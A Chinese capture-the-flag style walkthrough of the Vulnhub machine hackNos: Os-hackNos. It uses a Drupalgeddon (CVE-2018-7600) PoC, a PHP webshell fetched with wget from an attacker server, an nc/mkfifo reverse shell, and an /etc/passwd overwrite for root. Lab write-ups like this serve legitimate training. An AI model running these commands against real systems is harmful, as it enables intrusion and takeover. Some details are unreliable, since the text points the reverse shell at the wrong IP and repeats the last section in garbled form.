当前位置: 首页 > news >正文

hackNos靶机

靶机训练1 - hackNos: Os-hackNos

  • 靶机平台

    Vulnhub

    • 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

靶机相关漏洞

前期准备

靶机介绍

  • 靶机下载地址
  • flag:2个flag第一个user.txt和第二个root.txt
  • 学习内容:
    • exploit(利用)
    • Web Application(Web应用程序 )
    • Enumeration(枚举)
    • Privilege Escalation(权限提升)

靶机安装

  • 从靶机下载地址下载靶机的镜像文件

image-20220626174223932

  • 打开vmware,直接导入(打开)虚拟机
    • 有可能遇到的问题
      • vmware的虚拟机无法使用桥接模式联网
      • 原因
        • vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
        • VMware打开虚拟网络编程器
        • 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

image-20230811104648298

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

image-20230811104707659

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

image-20230811104721458

ip a 查看一下实际用的网卡,这里是ens33

image-20230811104737405

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33

  • 按下 i 即可进入编辑模式

image-20230811104752952

/etc/init.d/networking restart 重启网卡服务

  • 启动靶机
    • 靶机默认采用的是桥接模式

image-20220626174642763

渗透流程

1.获取网段

  • 扫描本地网段地址、

找到攻击目标的IP地址

kali命令

1.列出所有网段

netdiscover  -i eth0 -r 192.168.31.0/24

image-20230811095456602

  • 或者通过nmap主机探测的获取其 IP地址

    • nmap -sP 192.168.31.0/24
      -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
      在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口
      不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式
      

image-20230811104431074

2.指定ip进行收集扫描详细信息,

nmap -sV -sC -A  192.168.16.249

-sV 扫描一个主机的所有TCP端口,同时显示服务和版本信息.

-sC 扫描一个主机的所有TCP端口,同时使用默认脚本扫描,脚本在Nmap的安装目录下的scripts目录中

-A 扫描整个网络中的所有主机,探测操作系统类型和版本.

image-20230811104923443

访问页面

image-20230811105036988

2.目录扫描

使用kali下的gobuster工具扫描

 gobuster  dir -u http://192.168.16.249   -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

image-20230811110100198

扫描结果访问

http://192.168.16.249/drupal

image-20230811110121193

3.cms获取

浏览器访问可以看到这是一个drupal的一个php的内容管理系统(CMS),

cmseek扫描结果

cmseek -u http://192.168.16.249/drupal/      

image-20230811110340165

image-20230811110634471

访问尝试

http://192.168.16.249/drupal/CHANGELOG.txt

image-20230811110721428

4.exp搜索利用

github搜索

image-20230811111159942
得到poc

image-20230811111610093

kali下载:

git clone https://github.com/pimps/CVE-2018-7600   

image-20230811111822780

下载完成进入目录

执行py获取参数提示

python drupa7-CVE-2018-7600.py -h

image-20230811112107496

该漏洞为远程代码执行

image-20230811112733979

poc利用

 python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c whoami

-c可以执行命令

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c ls

列出文件

image-20230811113003484

访问

image-20230811113231195

image-20230811113242723

进入后发现没有内容,需要使用kali下刚刚poc的命令方法访问。

image-20230811113327756

这里加上""号

python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c "cat ./sites/default/settings.php" 

看到数据库文件及密码

image-20230811113801687

保存下来

这时候可以尝试扫描 http://192.168.16.249/drupal/下的目录

image-20230811114036487

5.拿shell

1.首先创建你的一句话木马文件

<?php  system($_POST['binge']);   ?>

2.在exp测目录下开启python带的httpserver,查看ip

python -m SimpleHTTPServer
# 如果出现报错:Python – No Module named SimpleHTTPServer
# 这是因为python的http server的module名字变了,改用
python -m http.server 

image-20230811141925771

解释:

启动一个HTTP Server,然后通过访问该服务下载资源。

Python 的标准库中内置了Http Server, 可以通过如下方式使用:

对于 Python3,使用方式为:

python -m http.server # 默认端口号为8000

对于 Python2, 使用方式为:

python -m SimpleHTTPServer # 默认端口号为8000

在浏览器里输入http://localhost:端口 可以访问服务器下的资源。

正常访问:

image-20230811142221090

新建终端,在靶场上传木马文件

  • 借助命令wget
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c  "wget http://192.168.16.180:8000/binge.php"
  • 查看是否上传成功
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/  -c ls 

image-20230811143008378

6.通过代理,抓包改包

访问上传成功的地址,带上后门的地址参数,抓包

http://192.168.16.249/drupal/binge.php?binge=id

image-20230811145629708

发送到repeater模块

image-20230811145000469

发送成功过去到id得出的命令数据

image-20230811145752046

也可以执行其他命令image-20230811145851327

6.反弹shell

1.开启一个终端监听设置监听端口

nc -lvnp 9001

在burp中受害者反弹执行

rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc  192.168.16.249  9001 >/tmp/f

image-20230811160020226

发送没有监听成功,需要进行编码,直接burp中进行 url encode 编码即可:

不一致可以切换 shell

  • python3 -c 'import pty;pty.spawn("/bin/bash")'
    

image-20230811162005858

成功得到反弹shell

ctrl+z将其放到后台中。

image-20230811164653704

7.shell利用

查询当前用户及密码信息

cat /etc/passwd

image-20230811164855610

查看当前存在的用户

cd /homels

image-20230811165142215

看到有个james

james:x:1000:1000:james,,,:/home/james:/bin/bash

查看里面,发现有个user.txt,查看里面内容获取到第一个flag

image-20230811165501213

尝试查看root 目录,发现没有权限

返回上一级目录,看到一个可疑文件 alexander.txt

image-20230811171513580

base64解密

image-20230811171838190

搜索后发现为Brainfuck加密

image-20230811172246832

网上搜索解密:

image-20230811172333822

尝试登录用户james,登录失败

无法进行登录

image-20230811172949298

使用ssh进行连接

失败

ssh James@192.168.16.180

image-20230811173227424

8.提权

只能使用提权了

wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下

1.把/etc/passwd下的文件全部复制下来

image-20230811174355309

2.生成一个linux账号和密码

工具 kali下的openssl

openssl passwd -1 -salt sb 123456

image-20230811174737416

账号为:sb 密码为:$1$sb$F5r2uVGoXeYu3n6kEFOqz1

新建一个passwd的文件,复制root,替换里面为新建的账号

image-20230811174934523

开了 httpserver服务器

python -m http.server      

访问 127.0.0.1:8000查看文件是否存在

image-20230811175246122

在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd

image-20230811175600212

wd -1 -salt sb 123456


[外链图片转存中...(img-lEXBfhjd-1691824534371)]

账号为:sb 密码为: 1 1 1sb$F5r2uVGoXeYu3n6kEFOqz1


新建一个passwd的文件,复制root,替换里面为新建的账号[外链图片转存中...(img-4UQk0hen-1691824534371)]开了 httpserver服务器

python -m http.server


访问 127.0.0.1:8000查看文件是否存在[外链图片转存中...(img-1BWBKNjh-1691824534372)]在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd


[外链图片转存中...(img-A9IgylIi-1691824534372)]切换账号后,即可得到 root 权限

相关文章:

hackNos靶机

靶机训练1 - hackNos: Os-hackNos 靶机平台 Vulnhub 是一个提供各种漏洞环境的靶场平台&#xff0c;供安全爱好者学习使用&#xff0c;大部分环境是做好的虚拟机镜像文件&#xff0c;镜像预先设计了多种漏洞&#xff0c;需要使用VMware或者VirtualBox运行。每个镜像会有破解的目…...

取地址及 const取地址操作符重载

取地址及 const取地址操作符重载 #include <iostream> using namespace std;class A { public:A(int year, int month, int day){_year year;_month month;_day day;}//它们是默认成员函数&#xff0c;我们不写编译器会自动生成&#xff0c;自动生成就够用了&#xff…...

【Linux初阶】进程间通信介绍 管道

&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f; &#x1f36d;&#x1f36d;系列专栏&#xff1a;【Linux初阶】 ✒️✒️本篇内容&#xff1a;进程间通信介绍&#xff0c;管道概述&#xff0c;匿名管道应用&#xff0c;命名管道应用 &#x1f6a2;&#…...

App 在macOS Catalina下提示已损坏无法打开解决办法:

App 在macOS Catalina下提示已损坏无法打开解决办法&#xff1a; 打开终端&#xff1b; 输入以下命令&#xff0c;回车&#xff1b; sudo xattr -d com.apple.quarantine /Applications/xxxx.app注意&#xff1a;/Applications/xxxx.app 换成你的App路径&#xff08;推荐直接…...

ad+硬件每日学习十个知识点(26)23.8.6 (DCDC的降压电路、升压电路、降压-升压电路,同步整流,选型考虑同步、隔离)

文章目录 1.DCDC的降压原理2.DCDC的升压原理3.DCDC的升压和降压原理4.什么是肖特基二极管造成的死区电压&#xff1f;5.MOS管有死区电压么&#xff1f;6.DCDC的同步整流&#xff08;用MOS管取代整流二极管&#xff0c;避免死区电压的影响&#xff09;7.DCDC选型——同步与非同步…...

Elasticsearch3节点集群配置账号密码安全验证

Elasticsearch3节点集群配置账号密码安全验证 ES配置文件 rootnode1:~# grep -Ev "^#|^$" /etc/elasticsearch/elasticsearch.yml cluster.name: es-pre node.name: node1 node.master: true node.data: true path.data: /data/elk/es/data path.logs: /data/elk/…...

ffmepg滤镜

视频按顺时针方向旋转90度 ffplay -vf transpose1 -i juren-30s.mp4 ffplay -f lavfi -i testsrc -vf transpose1 -f lavfi -i testsrc这个滤镜是ffmpeg给用户的一个测试使用的视频 视频水平翻转(左右翻转) -vf hflip 实现慢速播放&#xff0c;声音速度是原始速度的50% ffpla…...

Linux 基础(六)常用命令 - find locate which whereis gzip gunzip tar

find & locate & which & whereis & gzip & gunzip & tar findlocatewhichwhereisgzipgunzipzip/unziptar find 在指定目录下查找文件或目录 find --help Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...…...

【Ajax】回调地狱解决方法

回调地狱&#xff08;Callback Hell&#xff09;是指在异步编程中&#xff0c;特别是在嵌套的回调函数中&#xff0c;代码变得深度嵌套、难以阅读和维护的现象。这通常发生在处理多个异步操作时&#xff0c;每个操作都依赖于前一个操作的结果。回调地狱使代码变得难以理解、扩展…...

解决Vue根组件设置transition失效的问题

解决Vue根组件设置transition失效的问题 1.代码 <div id"app"><!-- :name"$route.meta.transitionName" --><transition :name"animation" mode"out-in"><router-view /></transition></div>&…...

【剑指 Offer 40】最小的k个数

题目&#xff1a; 输入整数数组 arr &#xff0c;找出其中最小的 k 个数。例如&#xff0c;输入 4、5、1、6、2、7、3、8 这 8 个数字&#xff0c;则最小的 4 个数字是 1、2、3、4。 示例&#xff1a; 输入&#xff1a;arr [3,2,1], k 2 输出&#xff1a;[1,2] 或者 [2,1] …...

vue3+vite在main.ts文件中引入./App.vue报错(./App.vue不是模块)

问题 如下图&#xff1a; 方法一 下载TypeScript Vue Plugin (Volar)插件就不报红了&#xff0c;看它的描述应该就是ts文件可以识别vue文件。 方法二 在src文件夹下添加env.d.ts文件&#xff0c;添加以下代码&#xff1a; declare module *.vue {import type { DefineC…...

【LeetCode】102. 二叉树的层序遍历、107. 二叉树的层序遍历 II

作者&#xff1a;小卢 专栏&#xff1a;《Leetcode》 喜欢的话&#xff1a;世间因为少年的挺身而出&#xff0c;而更加瑰丽。 ——《人民日报》 102. 二叉树的层序遍历 102. 二叉树的层序遍历 给你二叉树的根节点 root &#xff0c;返回其节…...

HTML详解连载(2)

HTML详解连载&#xff08;2&#xff09; 专栏链接 [link](http://t.csdn.cn/xF0H3)下面进行专栏介绍 开始喽超链接作用代码示例解释经验分享 音频标签代码示例注意强调 视频标签代码示例注意强调 列表作用&#xff1a;布局内容排列整齐的区域。分类&#xff1a;无序列表&#x…...

qt事件系统源码-----定时器

qt定时器的使用一般有以下几种方式&#xff1a; 1、直接使用QTimer对象&#xff0c;绑定定时器的timeout信号&#xff1b; 2、使用QTimer的静态方法singleshot方法&#xff0c;产生一个一次性的定时事件 3、在QObject子类中&#xff0c;调用startTimer方法&#xff0c;产生定…...

【Android】ViewBinding+DataBinding+MVVM新手快速上手

为什么写这篇博客 网上大部分博客&#xff0c;代码量都比较大&#xff0c;把实际的业务都代入进去了 这篇博客的目的&#xff0c;就是为了讲解基本原理和使用思路&#xff0c;然后给出一个最简单的Demo 这里不讲解具体用法&#xff0c;那样篇幅会太长&#xff0c;直接看Demo…...

生成式人工智能模型:提升营销分析用户体验

使用生成式人工智能来改善分析体验&#xff0c;使业务用户能够询问有关我们数据平台中可用数据的任何信息。 在本文中&#xff0c;我们将解释如何使用新的生成式人工智能模型 ( LLM ) 来改善业务用户在我们的分析平台上的体验。假设我们为零售销售经理提供 Web 应用程序或移动应…...

【并发编程】无锁环形队列Disruptor并发框架使用

Disruptor 是苹国外厂本易公司LMAX开发的一个高件能列&#xff0c;研发的初夷是解决内存队列的延识问顾在性能测试中发现竟然与10操作处于同样的数量级)&#xff0c;基于Disruptor开发的系统单线程能支撑每秒600万订单&#xff0c;2010年在QCn演讲后&#xff0c;获得了业界关注…...

【C语言】初阶指针详解

大家好&#xff0c;我是苏貝&#xff0c;本篇博客带大家了解C语言中令人头疼的指针&#xff0c;如果大家觉得我写的不错的话&#xff0c;可以给我一个赞&#x1f44d;吗&#xff0c;感谢❤️ 使用的是VS2019编译器&#xff0c;默认为32位平台 文章目录 ①指针是什么②指针定义与…...

ElasticSearch:项目实战(1)

es环境搭建参考&#xff1a;ElasticSearch&#xff1a;环境搭建步骤_Success___的博客-CSDN博客 需求&#xff1a; 用户输入关键可搜索文章列表 关键词高亮显示 文章列表展示与home展示一样&#xff0c;当用户点击某一篇文章&#xff0c;可查看文章详情 思路&#xff1a; …...

手游刚开服就被攻击怎么办?如何防御DDoS?

开服初期是手游最脆弱的阶段&#xff0c;极易成为DDoS攻击的目标。一旦遭遇攻击&#xff0c;可能导致服务器瘫痪、玩家流失&#xff0c;甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案&#xff0c;帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

【Linux】shell脚本忽略错误继续执行

在 shell 脚本中&#xff0c;可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行&#xff0c;可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令&#xff0c;并忽略错误 rm somefile…...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis&#xff1f;2.为什么要使用redis作为mysql的缓存&#xff1f;3.什么是缓存雪崩、缓存穿透、缓存击穿&#xff1f;3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a; 这一篇我们开始讲&#xff1a; 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下&#xff1a; 一、场景操作步骤 操作步…...

服务器硬防的应用场景都有哪些?

服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式&#xff0c;避免服务器受到各种恶意攻击和网络威胁&#xff0c;那么&#xff0c;服务器硬防通常都会应用在哪些场景当中呢&#xff1f; 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...

对WWDC 2025 Keynote 内容的预测

借助我们以往对苹果公司发展路径的深入研究经验&#xff0c;以及大语言模型的分析能力&#xff0c;我们系统梳理了多年来苹果 WWDC 主题演讲的规律。在 WWDC 2025 即将揭幕之际&#xff0c;我们让 ChatGPT 对今年的 Keynote 内容进行了一个初步预测&#xff0c;聊作存档。等到明…...

剑指offer20_链表中环的入口节点

链表中环的入口节点 给定一个链表&#xff0c;若其中包含环&#xff0c;则输出环的入口节点。 若其中不包含环&#xff0c;则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

图表类系列各种样式PPT模版分享

图标图表系列PPT模版&#xff0c;柱状图PPT模版&#xff0c;线状图PPT模版&#xff0c;折线图PPT模版&#xff0c;饼状图PPT模版&#xff0c;雷达图PPT模版&#xff0c;树状图PPT模版 图表类系列各种样式PPT模版分享&#xff1a;图表系列PPT模板https://pan.quark.cn/s/20d40aa…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

Yolov8 目标检测蒸馏学习记录

yolov8系列模型蒸馏基本流程&#xff0c;代码下载&#xff1a;这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中&#xff0c;**知识蒸馏&#xff08;Knowledge Distillation&#xff09;**被广泛应用&#xff0c;作为提升模型…...